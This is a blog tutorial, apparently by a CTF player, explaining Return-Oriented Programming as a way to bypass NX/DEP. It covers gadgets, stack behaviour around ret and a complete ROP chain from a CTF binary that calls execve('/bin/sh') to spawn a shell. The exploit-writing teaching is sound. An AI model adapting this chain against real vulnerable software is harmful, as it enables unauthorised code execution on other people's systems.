ROP Exploits

ROP

ROP stands for Return-Oriented Programming. It is primarily used to defeat DEP/NX/W^X (Data Execution Prevention/No Execute/Write xor Execute) mitigations in processors. Different manufacturers have different names for this particular feature, but the idea is to mark certain areas of memory (notably stack and heap) as non-executable. This makes attempts to execute instructions from areas marked as non-executable cause an exeception (SEGFAULT).
This mitigates generic buffer overflow attacks, which usually involve writing some shellcode into memory (usually the stack) and overwriting the saved return pointer or some other way to jump to the shellcode and execute it. Since the stack is marked as non-executable, the shellcode is not executed and a SEGFAULT is raised.

The ELF format has a field which specifies if the stack should be marked as executable or not (the -z execstack flag in gcc disables NX, making the stack executable). Thus, is referred to as having the NX bit set.

NX bit set:

virtual memory map of a binary with a non-executable stack

vmmap command in GDB with GEF

NX bit not set:

virtual memory map of a binary with an executable stack

vmmap command in GDB with GEF

The binary that has the NX bit set, has its stack and heap marked as rw-, meaning read, write and not execute. Whereas the binary without the NX bit, has its stack and heap marked as rwx, meaning read, write and execute. Your shellcode should have no problem getting executed here!

Using ROP to Bypass Mitigations

Since we cannot execute instructions from the stack/heap when NX is enabled, we try to pick the instructions we need to achieve our goal (usually to get a shell) from the binary or any of the libraries that the binary uses. These instructions are part of the program’s executable memory and should execute just fine.

The general idea of ROP exploits come from a Linux-specific exploitation technique known as ret2libc (return to libc). In the ret2libc technique, usually using a buffer overflow, the saved return pointer is overwritten to pass execution to some function present in libc, like maybe system() with the argument /bin/sh to get a shell.

ROP Gadgets

ROP gadgets are small sets of instructions which usually end with a ret instruction. These gadgets are put together to form ROP chains. After execution, the gadget returns to the next gadget in the chain. The reason this technique is called return-oriented programming should be apparent now!

Examples of gadgets:

pop rdi; ret; gadget

pop rdi; ret; gadget

Using the handy ropper tool right from GDB (another feature provided by GEF, check it out, its amazing!), to find ROP gadgets.
This particular gadget is where the name of this blog, as well as my alias come from. It pop’s whatever the stack pointer is currently pointing to, into the RDI register, which according to the x64 calling convention, holds the first argument for a function call/syscall.

pop gadgets

pop gadgets

mov gadgets

mov gadgets

syscall gadgets

syscall gadgets

There’s potential to do a lot creative things with the gadgets available in a binary.

Here’s the interesting thing about gadgets: They could mean different things when accessed from different offsets!

Example:

another pop rdi gadget

another pop rdi gadget

Consider the gadget at 0x0000000000401b73. Looking at the opcode at this location:

pop rdi opcode

pop rdi opcode

The opcode 5F C3, in x64 translates to:

pop rdi
ret

Going back one byte:

pop rdi opcode from a different offset

pop rdi opcode from a different offset

Now the opcode 41 5F C3, in x64 translates to:

pop r15
ret

So, depending on the offset we access the instructions from, they could mean different things. This makes a wide variety of gadgets available to us for doing various things. Here is GDB confirming the same:

instructions in gdb

instructions in gdb

ROP Chains

The general idea of a ROP chain is to pass execution to the start of the chain, and then the gadgets, since they end with the ret instruction, return to the next instruction in the chain.

It is important to understand the function prologue and epilogue to fully understand the workings of a ROP exploit.

Function Prologue

Function prologue is a few lines of code executed before the function called is executed, to prepare the stack and registers for use within the function. Typically it goes something like this:

push rbp ; save the value of rbp
mov rbp, rsp ; rbp now points to the top of the stack
sub rsp, 24 ; allocate space on the stack for local variables, say 3 integers

Function Epilogue

Function epilogue is reverses whatever the function epilogue has done and returns control to the callee function. A typical epilogue looks like:

mov rsp, rbp ; rsp now points to the saved ebp
pop rbp ; restore rbp and decrement rsp by 8

; the rsp points to the saved return
; pointer now, ret instruction pops it back
; into rip and execution continues from there
ret

The return instruction is equivalent to pop eip.

This is a ROP chain to get a shell via an execve() syscall from an old CTF challege I worked on:

#### GADGETS ####

# 0x0000000000415664: pop rax; ret;
pop_rax = 0x0000000000415664
# 0x0000000000400686: pop rdi; ret;
pop_rdi = 0x0000000000400686
# 0x00000000004101f3: pop rsi; ret;
pop_rsi = 0x00000000004101f3
# 0x000000000044be16: pop rdx; ret;
pop_rdx = 0x000000000044be16
# 0x000000000048d251: mov qword ptr [rax], rdx; ret;
mov_rax = 0x000000000048d251
# 0x000000000040129c: syscall;
syscall = 0x000000000040129c

#### ROP CHAIN ####

# write /bin/sh to memory
# pop address for the /bin/sh string
# into rax
payload += p64(pop_rax)
payload += p64(0x6bb5e0)
# pop string into rdx
payload += p64(pop_rdx)
# /bin/sh string, null terminated, in hex
# little endian
payload += p64(0x0068732f6e69622f)
# mov string to location pointed to by rax
payload += p64(mov_rax)

# execve syscall
# pop syscall number 0x3B into rax
payload += p64(pop_rax)
payload += p64(0x3B)
# pop address of string into rdi
payload += p64(pop_rdi)
payload += p64(0x6bb5e0)
# pop 0x00 into rsi
payload += p64(pop_rsi)
payload += p64(0x00)
# pop 0x00 into rdx
payload += p64(pop_rdx)
payload += p64(0x00)
# syscall
payload += p64(syscall)

This part writes the string /bin/sh into memory. The location 0x6bb5e0 in the bss section seemed fairly safe to write the string to. The saved return pointer is overwritten with the start of the ROP chain:

# write /bin/sh to memory
# pop address for the /bin/sh string
# into rax
payload += p64(pop_rax)
payload += p64(0x6bb5e0)
# pop string into rdx
payload += p64(pop_rdx)
# /bin/sh string, null terminated, in hex
# little endian
payload += p64(0x0068732f6e69622f)
# mov string to location pointed to by rax
payload += p64(mov_rax)

Just before the subroutine returns, the RSP points to the start of the ROP chain (overwritten saved return pointer).

figure 1

Figure 1

The value pointed by the RSP is popped into RIP when ret is executed and RSP is decremented by 8.

figure 2

Figure 2

When pop rax is executed, the value pointed to by RSP is popped into RAX and RSP is decremented by 8.

figure 3

Figure 3

When ret from the pop rax gadget is executed, the address of the next gadget where RSP currently points to, is popped into RIP and the execution continues from there. The RSP is decremented by 8. The ret instruction is a crucial part.

figure 4

Figure 4

Continuing, the string /bin/sh is popped into the RDX register and the mov_rax gadget moves a qword from the RDX register to the location pointed to by the RAX register. Now that we have the string in memory, we just need to invoke the syscall to get our shell.

In x86-64 architecture, the syscall number goes in the RAX register and the arguments go in RDI, RSI, RDX, R10, and so on. Check the syscall man page for the full info. The syscall number for execve is 59 or 0x3B in hex. We pop that into RAX:

# pop syscall number 0x3B into rax
payload += p64(pop_rax)
payload += p64(0x3B)

The first argument is the pointer to the /bin/sh string in memory, we pop that into RDI:

# pop address of string into rdi
payload += p64(pop_rdi)
payload += p64(0x6bb5e0)

The next two arguments are null and thus popping null bytes into RSI and RDX registers.

# pop 0x00 into rsi
payload += p64(pop_rsi)
payload += p64(0x00)
# pop 0x00 into rdx
payload += p64(pop_rdx)
payload += p64(0x00)

Finally the syscall:

# syscall
payload += p64(syscall)

We achieved the goal of getting a shell only with the instructions available in the program’s executable memory, thus defeating the NX mitigation.


Examples

I will link interesting CTF challenge writeups that involve ROP here, as I post them.


Disclaimer: Everything on this site is for educational purposes only. If you’re looking to hack into unauthorized systems or do something illegal, please look elsewhere.

Thank you for reading. Constructive criticism, feedback and suggestions welcome! My email is in the about page, feel free to get in touch.

- 0x5FC3

#pwn